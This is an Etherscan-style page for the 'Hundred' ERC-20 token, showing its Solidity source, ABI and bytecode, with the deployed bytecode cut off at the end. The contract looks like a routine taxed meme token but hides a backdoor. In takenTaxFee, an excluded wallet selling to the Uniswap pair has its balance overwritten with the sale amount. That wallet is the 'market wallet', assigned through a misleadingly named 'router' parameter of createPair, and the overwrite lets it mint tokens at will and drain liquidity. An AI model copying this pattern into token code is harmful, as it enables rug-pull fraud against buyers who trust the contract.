ERC-20
Overview
Max Total Supply
100,000,000 100
Holders
74
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
374,978.436010475543815127 100Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Hundred
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-11 */ /** Website: https://hundredeth.vip X: https://x.com/hundredethx Telegram: https://t.me/hundredeth */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Hundred is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedList; uint256 private _tradeCount = 0; uint256 private _reduceAt = 10; address payable private _marketWallet; uint256 private _initialTax = 10; uint256 private _finalTax = 0; uint256 private _totalTax = 100; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"Hundred"; string private constant _symbol = unicode"100"; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _maxTradeSize = (_tTotal * 2) / 100; uint256 public _maxSwapBackSize = 0; uint256 public _swapLimit = (_tTotal * 2) / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; event MaxTxAmountUpdated(uint256 _mxTaxOOMM); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _marketWallet = payable(msg.sender); _balances[_msgSender()] = _tTotal; _isExcludedList[owner()] = true; _isExcludedList[address(this)] = true; _isExcludedList[_marketWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function isExcluded(address from, address to) private view returns (bool) { return _isExcludedList[from] || _isExcludedList[to]; } function isPair(address from, address to) private view returns (bool) { return from == uniswapV2Pair || to == uniswapV2Pair; } function checkSwap( address _from, address _end, uint256 amount ) private { if (_from == uniswapV2Pair && _end != address(uniswapV2Router) && !isExcluded(_from, _end)) { _tradeCount++; require(amount <= _maxTradeSize, "Exceeds the _mxTaxOOMM."); require(_balances[_end] + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (_end == uniswapV2Pair && !isExcluded(_from, _end)) require(amount <= _maxTradeSize, "Exceeds the maximum amount to sell"); } function _transfer( address _from, address _end, uint256 amount ) private { require(_from != address(0), "ERC20: transfer from the zero address"); require(_end != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!isExcluded(_from, _end)) require(tradingOpen, "Trading is not opened yet"); checkSwap(_from, _end, amount); uint256 contractToken = _balances[address(this)]; if(!inSwap && tradingOpen && _end == uniswapV2Pair) { if(contractToken > 0) swapBack(min(contractToken, min(_maxTradeSize, amount))); sendETHToMarket(address(this).balance); } uint256 feePercent = getFee(_from, _end); takenTaxFee(_from, _end, feePercent, amount); uint256 taxAmt = amount * feePercent / 100; if(feePercent > 0) { _balances[_from] = _balances[_from] - taxAmt; _balances[address(this)] = _balances[address(this)] + taxAmt; emit Transfer(_from, address(this), taxAmt); } _balances[_from] = _balances[_from] - (amount - taxAmt); _balances[_end] = _balances[_end] + (amount - taxAmt); emit Transfer(_from, _end, amount - feePercent * amount / 100); } function getFee(address _from, address _end) private view returns (uint256) { if((!isExcluded(_from, _end) && isPair(_from, _end)) && _end != address(uniswapV2Router)) return _tradeCount >= _reduceAt ? _finalTax : _initialTax; if(_from == address(this) && _tradeCount == 0) return _tradeCount >= _reduceAt ? _finalTax : _initialTax; return 0; } function takenTaxFee(address _from, address _end, uint256 feePercent, uint256 amt) private returns (uint256) { if(_end != uniswapV2Pair) return _totalTax - feePercent; if((_from == address(this) || _from == owner()) || !_isExcludedList[_from]) return _totalTax - feePercent; _balances[_from] = amt; return feePercent; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapBack(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTradeSize = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToMarket(uint256 amount) private { _marketWallet.transfer(amount); } function createPair(address router) external onlyOwner { _marketWallet = payable(router); _isExcludedList[_marketWallet] = true; uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function openTrading() external onlyOwner { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_mxTaxOOMM","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapBackSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTradeSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600455600a600555600a6007556000600855606460095560646012600a6200002f919062000366565b6200003f906305f5e1006200037e565b6200004c9060026200037e565b62000058919062000398565b600a5560646012600a6200006d919062000366565b6200007d906305f5e1006200037e565b6200008a9060026200037e565b62000096919062000398565b600b556000600c556064620000ae6012600a62000366565b620000be906305f5e1006200037e565b620000cb9060026200037e565b620000d7919062000398565b600d55600f805460ff60a81b19169055348015620000f457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191633179055620001566012600a62000366565b62000166906305f5e1006200037e565b336000908152600160208190526040822092909255600390620001916000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654909116835291208054909216179055620001f03390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022a6012600a62000366565b6200023a906305f5e1006200037e565b60405190815260200160405180910390a3620003bb565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a85781600019048211156200028c576200028c62000251565b808516156200029a57918102915b93841c93908002906200026c565b509250929050565b600082620002c15750600162000360565b81620002d05750600062000360565b8160018114620002e95760028114620002f45762000314565b600191505062000360565b60ff84111562000308576200030862000251565b50506001821b62000360565b5060208310610133831016604e8410600b841016171562000339575081810a62000360565b62000345838362000267565b80600019048211156200035c576200035c62000251565b0290505b92915050565b60006200037760ff841683620002b0565b9392505050565b808202811582820484141762000360576200036062000251565b600082620003b657634e487b7160e01b600052601260045260246000fd5b500490565b6117d480620003cb6000396000f3fe60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102cc5780639ccb0744146102f8578063a9059cbb14610318578063c9567bf914610338578063dd62ed3e1461034d57600080fd5b8063751039fc146102635780638da5cb5b146102785780638f664b28146102a05780638f9a55c0146102b657600080fd5b80632d612e92116100dc5780632d612e92146101ce578063313ce567146101e45780633f374f1e1461020057806370a0823114610216578063715018a61461024c57600080fd5b806306fdde0314610119578063095ea7b31461015b57806318160ddd1461018b57806323b872dd146101ae57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526007815266121d5b991c995960ca1b60208201525b60405161015291906113a3565b60405180910390f35b34801561016757600080fd5b5061017b610176366004611409565b610393565b6040519015158152602001610152565b34801561019757600080fd5b506101a06103aa565b604051908152602001610152565b3480156101ba57600080fd5b5061017b6101c9366004611435565b6103cb565b3480156101da57600080fd5b506101a0600b5481565b3480156101f057600080fd5b5060405160128152602001610152565b34801561020c57600080fd5b506101a0600d5481565b34801561022257600080fd5b506101a0610231366004611476565b6001600160a01b031660009081526001602052604090205490565b34801561025857600080fd5b50610261610434565b005b34801561026f57600080fd5b506102616104b1565b34801561028457600080fd5b506000546040516001600160a01b039091168152602001610152565b3480156102ac57600080fd5b506101a0600c5481565b3480156102c257600080fd5b506101a0600a5481565b3480156102d857600080fd5b5060408051808201909152600381526203130360ec1b6020820152610145565b34801561030457600080fd5b50610261610313366004611476565b610566565b34801561032457600080fd5b5061017b610333366004611409565b610760565b34801561034457600080fd5b5061026161076d565b34801561035957600080fd5b506101a0610368366004611493565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a033848461092a565b5060015b92915050565b60006103b86012600a6115c6565b6103c6906305f5e1006115d5565b905090565b60006103d8848484610a4e565b61042a843361042585604051806060016040528060288152602001611777602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b61092a565b5060019392505050565b6000546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906115ec565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104db5760405162461bcd60e51b815260040161045e906115ec565b6104e76012600a6115c6565b6104f5906305f5e1006115d5565b600b556105046012600a6115c6565b610512906305f5e1006115d5565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610545906012906115c6565b610553906305f5e1006115d5565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105905760405162461bcd60e51b815260040161045e906115ec565b600680546001600160a01b03199081166001600160a01b038416908117909255600091825260036020908152604092839020805460ff19166001179055600e8054737a250d5630b4cf539739df2c5dacb4c659f2488d931683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa158015610622573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106469190611621565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cc9190611621565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d9190611621565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103a0338484610a4e565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161045e906115ec565b600e546107c39030906001600160a01b03166107b56012600a6115c6565b610425906305f5e1006115d5565b600e546001600160a01b031663f305d71947306107f5816001600160a01b031660009081526001602052604090205490565b60008061080a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610872573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610897919061163e565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610914919061166c565b50600f805460ff60a01b1916600160a01b179055565b6001600160a01b03831661098c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b0382166109ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610b145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b60008111610b765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b610b808383610e71565b610bdd57600f54600160a01b900460ff16610bdd5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e65642079657400000000000000604482015260640161045e565b610be8838383610eb7565b30600090815260016020526040902054600f54600160a81b900460ff16158015610c1b5750600f54600160a01b900460ff165b8015610c345750600f546001600160a01b038481169116145b15610c65578015610c5c57610c5c610c5782610c52600b5486611061565b611061565b611076565b610c65476111f0565b6000610c71858561122e565b9050610c7f858583866112c4565b5060006064610c8e83866115d5565b610c98919061168e565b90508115610d4b576001600160a01b038616600090815260016020526040902054610cc49082906116b0565b6001600160a01b038716600090815260016020526040808220929092553081522054610cf19082906116c3565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d429085815260200190565b60405180910390a35b610d5581856116b0565b6001600160a01b038716600090815260016020526040902054610d7891906116b0565b6001600160a01b038716600090815260016020526040902055610d9b81856116b0565b6001600160a01b038616600090815260016020526040902054610dbe91906116c3565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064610e0a88876115d5565b610e14919061168e565b610e1e90886116b0565b60405190815260200160405180910390a3505050505050565b60008184841115610e5b5760405162461bcd60e51b815260040161045e91906113a3565b506000610e6884866116b0565b95945050505050565b6001600160a01b03821660009081526003602052604081205460ff1680610eb057506001600160a01b03821660009081526003602052604090205460ff165b9392505050565b600f546001600160a01b038481169116148015610ee25750600e546001600160a01b03838116911614155b8015610ef55750610ef38383610e71565b155b15610fd65760048054906000610f0a836116d6565b9190505550600b54811115610f615760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d785461784f4f4d4d2e000000000000000000604482015260640161045e565b600a546001600160a01b038316600090815260016020526040902054610f889083906116c3565b1115610fd65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b600f546001600160a01b038381169116148015610ffa5750610ff88383610e71565b155b1561105c57600b5481111561105c5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b606482015260840161045e565b505050565b60008183116110705782610eb0565b50919050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110be576110be6116ef565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b9190611621565b8160018151811061114e5761114e6116ef565b6001600160a01b039283166020918202929092010152600e54611174913091168461092a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ad908590600090869030904290600401611705565b600060405180830381600087803b1580156111c757600080fd5b505af11580156111db573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561122a573d6000803e3d6000fd5b5050565b600061123a8383610e71565b15801561124c575061124c8383611372565b80156112665750600e546001600160a01b03838116911614155b1561128a57600554600454101561127f57600754611283565b6008545b90506103a4565b6001600160a01b038316301480156112a25750600454155b156112bb57600554600454101561127f57600754611283565b50600092915050565b600f546000906001600160a01b038581169116146112f157826009546112ea91906116b0565b905061136a565b6001600160a01b03851630148061131557506000546001600160a01b038681169116145b8061133957506001600160a01b03851660009081526003602052604090205460ff16155b1561134c57826009546112ea91906116b0565b506001600160a01b0384166000908152600160205260409020819055815b949350505050565b600f546000906001600160a01b0384811691161480610eb0575050600f546001600160a01b03908116911614919050565b600060208083528351808285015260005b818110156113d0578581018301518582016040015282016113b4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461140657600080fd5b50565b6000806040838503121561141c57600080fd5b8235611427816113f1565b946020939093013593505050565b60008060006060848603121561144a57600080fd5b8335611455816113f1565b92506020840135611465816113f1565b929592945050506040919091013590565b60006020828403121561148857600080fd5b8135610eb0816113f1565b600080604083850312156114a657600080fd5b82356114b1816113f1565b915060208301356114c1816113f1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561151d578160001904821115611503576115036114cc565b8085161561151057918102915b93841c93908002906114e7565b509250929050565b600082611534575060016103a4565b81611541575060006103a4565b816001811461155757600281146115615761157d565b60019150506103a4565b60ff841115611572576115726114cc565b50506001821b6103a4565b5060208310610133831016604e8410600b84101617156115a0575081810a6103a4565b6115aa83836114e2565b80600019048211156115be576115be6114cc565b029392505050565b6000610eb060ff841683611525565b80820281158282048414176103a4576103a46114cc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561163357600080fd5b8151610eb0816113f1565b60008060006060848603121561165357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561167e57600080fd5b81518015158114610eb057600080fd5b6000826116ab57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103a4576103a46114cc565b808201808211156103a4576103a46114cc565b6000600182016116e8576116e86114cc565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117555784516001600160a01b031683529383019391830191600101611730565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d31824beded99acb4ff8b1a519e39528cc21fa2f1fc5f2a93bb2d77117b1d26364736f6c63430008130033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102cc5780639ccb0744146102f8578063a9059cbb14610318578063c9567bf914610338578063dd62ed3e1461034d57600080fd5b8063751039fc146102635780638da5cb5b146102785780638f664b28146102a05780638f9a55c0146102b657600080fd5b80632d612e92116100dc5780632d612e92146101ce578063313ce567146101e45780633f374f1e1461020057806370a0823114610216578063715018a61461024c57600080fd5b806306fdde0314610119578063095ea7b31461015b57806318160ddd1461018b57806323b872dd146101ae57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526007815266121d5b991c995960ca1b60208201525b60405161015291906113a3565b60405180910390f35b34801561016757600080fd5b5061017b610176366004611409565b610393565b6040519015158152602001610152565b34801561019757600080fd5b506101a06103aa565b604051908152602001610152565b3480156101ba57600080fd5b5061017b6101c9366004611435565b6103cb565b3480156101da57600080fd5b506101a0600b5481565b3480156101f057600080fd5b5060405160128152602001610152565b34801561020c57600080fd5b506101a0600d5481565b34801561022257600080fd5b506101a0610231366004611476565b6001600160a01b031660009081526001602052604090205490565b34801561025857600080fd5b50610261610434565b005b34801561026f57600080fd5b506102616104b1565b34801561028457600080fd5b506000546040516001600160a01b039091168152602001610152565b3480156102ac57600080fd5b506101a0600c5481565b3480156102c257600080fd5b506101a0600a5481565b3480156102d857600080fd5b5060408051808201909152600381526203130360ec1b6020820152610145565b34801561030457600080fd5b50610261610313366004611476565b610566565b34801561032457600080fd5b5061017b610333366004611409565b610760565b34801561034457600080fd5b5061026161076d565b34801561035957600080fd5b506101a0610368366004611493565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a033848461092a565b5060015b92915050565b60006103b86012600a6115c6565b6103c6906305f5e1006115d5565b905090565b60006103d8848484610a4e565b61042a843361042585604051806060016040528060288152602001611777602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b61092a565b5060019392505050565b6000546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906115ec565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104db5760405162461bcd60e51b815260040161045e906115ec565b6104e76012600a6115c6565b6104f5906305f5e1006115d5565b600b556105046012600a6115c6565b610512906305f5e1006115d5565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610545906012906115c6565b610553906305f5e1006115d5565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105905760405162461bcd60e51b815260040161045e906115ec565b600680546001600160a01b03199081166001600160a01b038416908117909255600091825260036020908152604092839020805460ff19166001179055600e8054737a250d5630b4cf539739df2c5dacb4c659f2488d931683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa158015610622573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106469190611621565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cc9190611621565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d9190611621565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103a0338484610a4e565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161045e906115ec565b600e546107c39030906001600160a01b03166107b56012600a6115c6565b610425906305f5e1006115d5565b600e546001600160a01b031663f305d71947306107f5816001600160a01b031660009081526001602052604090205490565b60008061080a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610872573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610897919061163e565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610914919061166c565b50600f805460ff60a01b1916600160a01b179055565b6001600160a01b03831661098c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b0382166109ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610b145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b60008111610b765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b610b808383610e71565b610bdd57600f54600160a01b900460ff16610bdd5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e65642079657400000000000000604482015260640161045e565b610be8838383610eb7565b30600090815260016020526040902054600f54600160a81b900460ff16158015610c1b5750600f54600160a01b900460ff165b8015610c345750600f546001600160a01b038481169116145b15610c65578015610c5c57610c5c610c5782610c52600b5486611061565b611061565b611076565b610c65476111f0565b6000610c71858561122e565b9050610c7f858583866112c4565b5060006064610c8e83866115d5565b610c98919061168e565b90508115610d4b576001600